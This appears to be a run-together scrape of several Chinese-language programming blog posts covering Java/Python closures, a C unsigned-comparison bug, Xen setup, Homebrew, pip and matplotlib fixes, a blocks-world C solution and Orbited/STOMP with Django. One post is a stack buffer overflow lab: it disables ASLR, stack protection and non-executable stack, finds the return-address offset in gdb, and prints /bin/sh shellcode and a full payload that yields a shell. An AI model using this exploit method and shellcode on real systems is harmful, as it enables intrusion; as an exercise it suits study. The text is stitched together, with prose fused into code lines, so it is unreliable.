例如這樣的Java程式碼可以把someone中的元素都加上3:
AddVisitor add_v = AddVisitor(3);
someone.accept(add_v);
C++也可以做出類似的計算,只是比較麻煩就不寫在這。
上述兩者只需要Lambda所產生的Closure,就可以輕鬆達到了
例如下列Python程式碼:
add_v = (lambda x: lambda y: x + y)(3)Lambda遠比許多人所想的更有威力,不是嗎?
someone.accept(add_v)
AddVisitor add_v = AddVisitor(3);
someone.accept(add_v);
add_v = (lambda x: lambda y: x + y)(3)Lambda遠比許多人所想的更有威力,不是嗎?
someone.accept(add_v)
Stack而要使用s;
Stacks ;
s.push(Integer(1));而不能使用
s.push(1);
MaCarrick:mists-of-time cacaegg$ cat subtle-bug.c為什麼d明明是-1卻印出F呢?
#include
int array[] = {23, 34, 12, 17, 204, 99, 16};
#define TOTAL_ELEMENTS (sizeof(array) / sizeof(array[0]))
main(){
int d = -1, x;
if(d <= TOTAL_ELEMENTS-2){
printf("T\n");
}else{
printf("F\n");
}
}
MaCarrick:mists-of-time cacaegg$ gcc subtle-bug.c
MaCarrick:mists-of-time cacaegg$ ./a.out
F
if(d <= (int) TOTAL_ELEMENTS - 2)
#xen-create-image --hostname=squeeze-1 --size=8Gb --dist=squeeze --memory=256M --dhcp
....
#mount -o loop=/dev/loop2 /home/xen/domains/squeeze-1/disk.img /mnt/
#cd /mnt/boot
#cp /boot/vmlinuz-2.6.26-1-xen-686 ./
#cp /boot/initrd.img-2.6.26-1-xen-686 ./
#mkdir grub
#cd grub/
#cp /boot/grub/* ./
#vim device.map
#vim menu.lst
# cat device.map
(hd0) /dev/sda
## cat menu.lst
...
...
title Debian GNU/Linux, kernel 2.6.26-1-xen-686
root (hd0)
kernel /boot/vmlinuz-2.6.26-1-xen-686 root=/dev/sda ro quiet
initrd /boot/initrd.img-2.6.26-1-xen-686
title Debian GNU/Linux, kernel 2.6.26-1-xen-686 (single-user mode)
root (hd0)
kernel /boot/vmlinuz-2.6.26-1-xen-686 root=/dev/sda ro single
initrd /boot/initrd.img-2.6.26-1-xen-686
#指定disk.img export 到/dev/sda,然後再指定root是/dev/sda
# Configuration file for the Xen instance squeeze-1, created
# by xen-tools 3.9 on Thu Jan 5 17:35:59 2012.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-2.6.26-1-xen-686'
ramdisk = '/boot/initrd.img-2.6.26-1-xen-686'
memory = '256'
#
# Disk device(s).
#
root = '/dev/sda ro'
disk = [
'file:/home/xen/domains/squeeze-1/swap.img,sda1,w',
'file:/home/xen/domains/squeeze-1/disk.img,sda,w',
]
csep@ubuntu:~/src$ cat samp1.c為了能夠順利練習,需要先關閉Stack Guard、Stack Space Randomization以及Non Executable Stack
#include
#include
int main(int argc, char** argv){
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
root@ubuntu:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@ubuntu:~# cat /proc/sys/kernel/randomize_va_space
0
gcc -g -o samp1 samp1.c -fno-stack-protector
user@ubuntu:~/src$ sudo apt-get install execstack
...
user@ubuntu:~/src$ execstack -s samp1
csep@ubuntu:~/src$ gdb -q samp1可以看到長度約在504之後會寫到EIP,接著看ESP在大概在哪。
Reading symbols from /home/csep/src/samp1...done.
(gdb) run `python -c 'print "\x41"*500'`Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*500'`
Program exited normally.
(gdb) run `python -c 'print "\x41"*520'`
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*520'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*512'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*512'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*504'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*504'`
Program received signal SIGILL, Illegal instruction.
0xbffff67a in ?? ()
(gdb) run `python -c 'print "\x41"*504'`
(gdb) list從ESP往回算約300,就是要覆寫的ret address。
1 #include
2 #include
3
4 int main(int argc, char** argv){
5 char buffer[500];
6 strcpy(buffer, argv[1]); // Vulnerable Function
7 return 0;
8 }
(gdb) b 6
Breakpoint 1 at 0x80483cd: file samp1.c, line 6.
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`
Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r esp
esp 0xbffff560 0xbffff560
(gdb) p /x 0xbffff560 - 300
$3 = 0xbffff434
csep@ubuntu:~/src$ ./sc-gen sh大致上準備好了,可以Buffer Overflow了。要送出的參數長這樣
Shellcode lenght: 54
\x31\xc0\x83\xec\x01\x88\x04\x24
\x68\x74\x72\x69\x62\x68\x2e\x64
\x69\x73\x68\x6e\x2f\x73\x68\x66
\x68\x62\x69\x83\xec\x01\xc6\x04
\x24\x2f\x89\xe6\x50\x56\xb0\x0b
\x89\xf3\x89\xe1\x31\xd2\xcd\x80
\xb0\x01\x31\xdb\xcd\x80
csep@ubuntu:~/src$ for line in `./sc-gen sh | grep "x"`; do echo -n $line; done\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
(gdb) run `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`Boom! 拿到Shell了。
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`
Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.
process 13123 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
To run a command as administrator (user "root"), use "sudo".
See "man sudo_root" for details.
csep@ubuntu:/home/csep/src$
From http://github.com/mxcl/homebrew
* branch master -> FETCH_HEAD
error: Your local changes to the following files would be overwritten by merge:
share/man/man1/brew.1
Library/Homebrew/formula_installer.rb
Library/Formula/xpdf.rb
Library/Formula/wine.rb
Library/Formula/webalizer.rb
Library/Formula/tofrodos.rb
Library/Formula/ssldump.rb
Library/Formula/squirrel.rb
Library/Formula/sphinx.rb
Library/Formula/sleepnow.rb
Library/Formula/skipfish.rb
Library/Formula/schroedinger.rb
Library/Formula/rebar.rb
Library/Formula/rabbitmq.rb
Library/Formula/qdbm.rb
Library/Formula/pure.rb
Library/Formula/pkg-config.rb
Library/Formula/parallel.rb
Library/Formula/openvpn.rb
Library/Formula/mcl.rb
Library/Formula/lilypond.rb
Library/Formula/libvirt.rb
Library/Formula/libsamplerate.rb
Library/Formula/libao.rb
Library/Formula/ledit.rb
Library/Formula/jack.rb
Library/Formula/gst-plugins-good.rb
Library/Formula/geeqie.rb
Library/Formula/freealut.rb
Library/Formula/fontforge.rb
Library/Formula/ddclient.rb
Library/Formula/ddate.rb
Library/Formula/d-bus.rb
Library/Formula/cscope.rb
Library/Formula/cppdom.rb
Library/Formula/celt.rb
Library/Formula/cd-discid.rb
Library/Formula/cairomm.rb
Library/Formula/bsdiff.rb
Library/Contributions/manpages/brew.1.md
Library/Contributions/examples/brew-audit.rb
Please, commit your changes or stash them before you can merge.
error: The following untracked working tree files would be overwritten by merge:
Library/Formula/zookeeper.rb
Library/Formula/zdelta.rb
Library/Formula/vip.rb
Library/Formula/vcodex.rb
Library/Formula/sshfs-fuse.rb
Library/Formula/nickle.rb
Library/Formula/isc-dhcp.rb
Library/Formula/gst-plugins-ugly.rb
Library/Formula/gst-plugins-bad.rb
Library/Formula/go-gui.rb
Library/Formula/fluxus.rb
Library/Formula/exodriver.rb
Library/Formula/djvulibre.rb
Library/Formula/cdrdao.rb
Library/Formula/c10t.rb
Library/Formula/blahtexml.rb
Library/Formula/bigloo.rb
Library/Formula/aws-iam-tools.rb
Library/Formula/aget.rb
Library/Aliases/sshfs
Library/Aliases/liblabjackusb
Please move or remove them before you can merge.
Updating 959edff..6cf7c80
Aborting
Error: Failed while executing git pull http://github.com/mxcl/homebrew.git master
$sudo chown -R `whoami` /usr/local
$cd /usr/local
$git add .
$git stash
$git reset --hard
$brew update
#include
#include
#include
#define MOVE 000
#define PILE 010
#define ONTO 000
#define OVER 001
struct block{
int value;
struct block *next;
};
char* readline(FILE*);
void moveonto(int, int, struct block**, int *);
void moveover(int, int, struct block**, int *);
void pileonto(int, int, struct block**, int *);
void pileover(int, int, struct block**, int *);
void push(struct block**, struct block*, int, int *);
struct block* pop(struct block**, int);
int main(int argc, char **argv){
struct block **table,*block_entry;
char *line, *tok;
int *block_index;
/* Remember where table_index of the block is */
int op1, op2, i;
short act, table_size=0;
/* Initialize the blocks world */
line = readline(stdin);
table_size = atoi(line);
if(table_size >= 25 || table_size <= 0) return 0; table = calloc(table_size, sizeof(struct block **)); block_index = calloc(table_size, sizeof(int)); for(i = 0; i < table_size; i++){ block_entry = (struct block*) malloc(sizeof(struct block)); block_entry->value = i;
block_entry->next = NULL;
table[i] = block_entry;
block_index[i] = i;
}
while(strlen(line = readline(stdin)) > 0){
if(strcmp(line, "quit") == 0)
break;
act = 0;
tok = strtok(line, " ");
if(strcmp(tok, "pile") == 0)
act += PILE;
op1 = atoi(strtok(NULL, " "));
tok = strtok(NULL, " ");
if(strcmp(tok, "over") == 0)
act += OVER;
op2 = atoi(strtok(NULL, " "));
if(op1 == op2 || block_index[op1] == block_index[op2]
|| op1 >= table_size
|| op2 >= table_size
|| op1 < 0 || op2 < 0) continue; switch(act){ case MOVE+ONTO: moveonto(op1, op2, table, block_index); continue; case MOVE+OVER: moveover(op1, op2, table, block_index); continue; case PILE+ONTO: pileonto(op1, op2, table, block_index); continue; case PILE+OVER: pileover(op1, op2, table, block_index); continue; } } /* Print the blocks world */ for(i = 0; i < table_size; i++){ block_entry = table[i]; printf("%d:", i); while(block_entry != NULL){ printf(" %d", block_entry->value);
block_entry = block_entry->next;
}
printf("\n");
}
return 0;
}
void push(struct block **table, struct block *entry, int index, int block_index[]){
struct block *ptr;
if((ptr = table[index]) == NULL){
table[index] = entry;
block_index[entry->value] = index;
return;
}
while(ptr->next != NULL)
ptr = ptr->next;
ptr->next = entry;
block_index[entry->value] = index;
entry->next = NULL;
}
struct block* pop(struct block **table, int index){
struct block *ptr, *pre;
pre = NULL;
ptr = table[index];
while(ptr->next != NULL){
pre = ptr;
ptr = ptr->next;
}
if(pre != NULL)
pre->next = NULL;
else
table[index] = NULL;
return ptr;
}
void moveonto(int op1, int op2, struct block **table, int block_index[]){
/* Move the block over a and b to the orignal place.
*/
struct block *block_entry, *block_a;
while((block_entry = pop(table, block_index[op1])) != NULL){
if(block_entry->value != op1) /* Move block over a to initial position */
push(table, block_entry, block_entry->value, block_index);
else{ /* It is the block a */
block_a = block_entry;
break;
}
}
while((block_entry = pop(table, block_index[op2])) != NULL){
if(block_entry->value != op2) /* Move block over b to initial position */
push(table, block_entry, block_entry->value, block_index);
else{ /* It is the block b */
push(table, block_entry, block_index[op2], block_index);
break;
}
}
/* Move block a onto b */
push(table, block_a, block_index[op2], block_index);
return;
}
void moveover(int op1, int op2, struct block **table, int block_index[]){
/* Move the block over a to its orginal place.
*/
struct block *block_entry, *block_a;
while((block_entry = pop(table, block_index[op1])) != NULL){
if(block_entry->value != op1) /* Move block over a to initial position */
push(table, block_entry, block_entry->value, block_index);
else{ /* It is the block a */
block_a = block_entry;
break;
}
}
/* Move block a onto b */
push(table, block_a, block_index[op2], block_index);
return;
}
void pileonto(int op1, int op2, struct block **table, int block_index[]){
/* Move the block over b to its orginal place.
*/
struct block *block_entry, *pre=NULL, *next;
while((block_entry = pop(table, block_index[op2])) != NULL){
if(block_entry->value != op2){ /* Move block over b to initial position */
push(table, block_entry, block_entry->value, block_index);
}
else{ /* It is the block b, so push back */
push(table, block_entry, block_entry->value, block_index);
break;
}
}
/* Make a list to keep the order */
while((block_entry = pop(table, block_index[op1])) != NULL){
block_entry->next = pre;
pre = block_entry;
if(block_entry->value == op1)
break;
}
/* Push the list onto block b in order
*/
while(1){
next = block_entry->next;
push(table, block_entry, block_index[op2], block_index);
block_entry = next;
if(block_entry == NULL) break;
}
}
void pileover(int op1, int op2, struct block **table, int block_index[]){
struct block *block_entry, *pre, *next;
/* Make a list to keep the order
*/
pre = NULL;
while((block_entry = pop(table, block_index[op1])) != NULL){
block_entry->next = pre;
pre = block_entry;
if(block_entry->value == op1)
break;
}
/* Push the list onto block b in order
*/
while(1){
next = block_entry->next;
push(table, block_entry, block_index[op2], block_index);
block_entry = next;
if(block_entry == NULL) break;
}
}
char* readline(FILE* f){
char* ret = (char *) calloc(0, sizeof(char));
char c;
int len = 0;
while((c = fgetc(f)) != EOF && c != '\n'){
ret = (char *) realloc(ret, sizeof(char) * len + 2);
ret[len++] = c;
ret[len] = '\0';
}
return ret;
}
cacaegg:~ cacaegg$ pip所以就看一下:
Traceback (most recent call last):
File "/usr/local/bin/pip", line 5, in
from pkg_resources import load_entry_point
File "build/bdist.macosx-10.3-fat/egg/pkg_resources.py", line 2607, in
File "build/bdist.macosx-10.3-fat/egg/pkg_resources.py", line 565, in resolve
pkg_resources.DistributionNotFound: pip==0.8.2
cacaegg:~ cacaegg$ cat /usr/local/bin/pip都改成0.8.3就可以了。
#!/usr/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==0.8.2','console_scripts','pip'
__requires__ = 'pip==0.8.3'
import sys
from pkg_resources import load_entry_point
sys.exit(
load_entry_point('pip==0.8.3', 'console_scripts', 'pip')()
)
#cd /etc/resolvconf/
mkdir run
sudo mv ../resolv.conf ./run/
sudo ln -s /etc/resolvconf/run/resolv.conf /etc/resolv.conf
cd /etc/resolvconf/run/
mkdir interface
/etc/init.d/bind9 restart
$pip install numpy然後想測試時,發生如下的import error
$pip install matplotlib
$ python找不到ma模組,找了一下後發現改位置了
Python 2.6.6 (r266:84374, Aug 31 2010, 11:00:51)
[GCC 4.0.1 (Apple Inc. build 5493)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import matplotlib.pyplot as plt
/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/__init__.py:62: DeprecationWarning: the md5 module is deprecated; use hashlib instead
import md5, os, re, shutil, sys, warnings
/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/pytz/tzinfo.py:5: DeprecationWarning: the sets module is deprecated
from sets import Set
Traceback (most recent call last):
File "", line 1, in
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/pyplot.py", line 6, in
from matplotlib.figure import Figure, figaspect
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/figure.py", line 10, in
from axes import Axes, Subplot, PolarSubplot, PolarAxes
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/axes.py", line 6, in
import matplotlib.numerix.npyma as ma
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/numerix/__init__.py", line 166, in
__import__('ma', g, l)
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/numerix/ma/__init__.py", line 16, in
from numpy.core.ma import *
ImportError: No module named ma
>>> import numpy因此去修改下列檔案
>>> print numpy.__version__
1.5.1
>>> print numpy.core.ma
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'module' object has no attribute 'ma'
>>> print numpy.ma
>>> quit()
$ vim /Library/Frameworks/Python.framework/Versions/Current/lib/python2.6/site-packages/matplotlib/numerix/npyma/__init__.py裡面有import numpy.core.ma的都改一下
$ vim /Library/Frameworks/Python.framework/Versions/Current/lib/python2.6/site-packages/matplotlib/numerix/npyma/__init__.py
try:最後就可以成功了
from numpy.core.ma import *
except ImportError:
from numpy.ma import *
$ python
Python 2.6.6 (r266:84374, Aug 31 2010, 11:00:51)
[GCC 4.0.1 (Apple Inc. build 5493)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import matplotlib.pyplot as plt
/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/__init__.py:62: DeprecationWarning: the md5 module is deprecated; use hashlib instead
import md5, os, re, shutil, sys, warnings
/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/pytz/tzinfo.py:5: DeprecationWarning: the sets module is deprecated
from sets import Set
>>> plt.plot([1,2,3,4])
[]
>>> plt.ylabe('some numbers')
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'module' object has no attribute 'ylabe'
>>> plt.ylabel('some numbers')
>>> plt.show()
$ python -c 'import MySQLdb'
Traceback (most recent call last):
File "", line 1, in
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/MySQLdb/__init__.py", line 19, in
import _mysql
ImportError: dlopen(/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/_mysql.so, 2): Symbol not found: _mysql_affected_rows
Referenced from: /Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/_mysql.so
Expected in: dynamic lookup
pip uninstall MySQL-python
brew uninstall mysql
brew install mysql --universal
pip install MySQL-python
bin cacaegg$ dig txt unix.wp.dg.cx
; <<>> DiG 9.6.0-APPLE-P2 <<>> txt unix.wp.dg.cx
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 131 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0 ;; QUESTION SECTION: ;unix.wp.dg.cx. IN TXT ;; ANSWER SECTION: unix.wp.dg.cx. 86400 IN TXT "Unix (officially trademarked as UNIX, sometimes also written as Unix with small caps) is a computer operating system originally developed in 1969 by a group of AT&T employees at Bell Labs, including Ken Thompson, Dennis Ritchie, Douglas McIlroy, and Joe O" "ssanna. Today's Unix systems are split into various branches, developed over time by AT&T as well as various commercial... http://a.vu/w:Unix" ;; AUTHORITY SECTION: wp.dg.cx. 3600 IN NS ns.na.l.dg.cx. wp.dg.cx. 3600 IN NS ns.eu.l.dg.cx. ;; Query time: 942 msec ;; SERVER: 192.168.11.1#53(192.168.11.1) ;; WHEN: Sun Feb 20 14:12:53 2011 ;; MSG SIZE rcvd: 483
bin cacaegg$ dig +short txt unix.wp.dg.cx
"Unix (officially trademarked as UNIX, sometimes also written as Unix with small caps) is a computer operating system originally developed in 1969 by a group of AT&T employees at Bell Labs, including Ken Thompson, Dennis Ritchie, Douglas McIlroy, and Joe O" "ssanna. Today's Unix systems are split into various branches, developed over time by AT&T as well as various commercial... http://a.vu/w:Unix"
unsigned long get_random(void){
unsigned long seed;
int fd;
fd = open("/dev/urandom", O_RDONLY);
if(fd == -1){
perror("open");
return 0;
}
if(read(fd, &seed, sizeof(seed)) < 0){ perror("read"); return 0; } if(close(fd)) perror("close"); return seed; }
$dd if=/dev/urandom of=/tmp/rand bs=1b count1簡單又快速
:%s/pattern/replacemet/g
\( \)然後在replacement裡面
\{n,m}
$ which easy_install
/usr/bin/easy_install
easy_install install orbited
easy_install install stomp.py
[listen]
http://:9000
stomp://:61613
[access]
* -> localhost:61613
[global]
session.ping_interval = 300
orbited -c orbited.cnf
from django.shortcuts import render_to_response
import stomp
conn = stomp.Connection()
conn.start()
conn.connect()
def index:
return render_to_response('index.html', {'dummy': "stupid"})
def stepEventHub(request):
conn.send(json.dumps({"msg":"server"}), destination="/EventHub")
return HttpResponse("ok")
urlpatterns = patterns('someapp.views',
(r'^index/$', 'index'),
(r'^stepEventHub/$', 'stepEventHub'),
)
下載Orbited.js&stomp.js
function main(){
stomp = new STOMPClient();
stomp.onopen = function(){
console.log("Open Stomp Client");
}
stomp.onclose = function(c){
alert("Lost connection, Code:"+c);
}
stomp.onerror = function(error){
alert("Error : " + error);
}
stomp.onerrorframe = function(frame){
alert("Error : " + frame.body);
}
stomp.onconnectedframe = function(){
console.log("Connected. Subcribing");
stomp.subscribe("/EventHub");
}
stomp.onmessageframe = function(frame){
var data = $.parseJSON(frame.body);
alert(data['msg']);
}
stomp.connect("localhost", 61613);
};
$(document).ready(main);
Caught UnicodeDecodeError while rendering ... unexpected code byte
:set fenc=utf-8再去編輯儲存就可以了。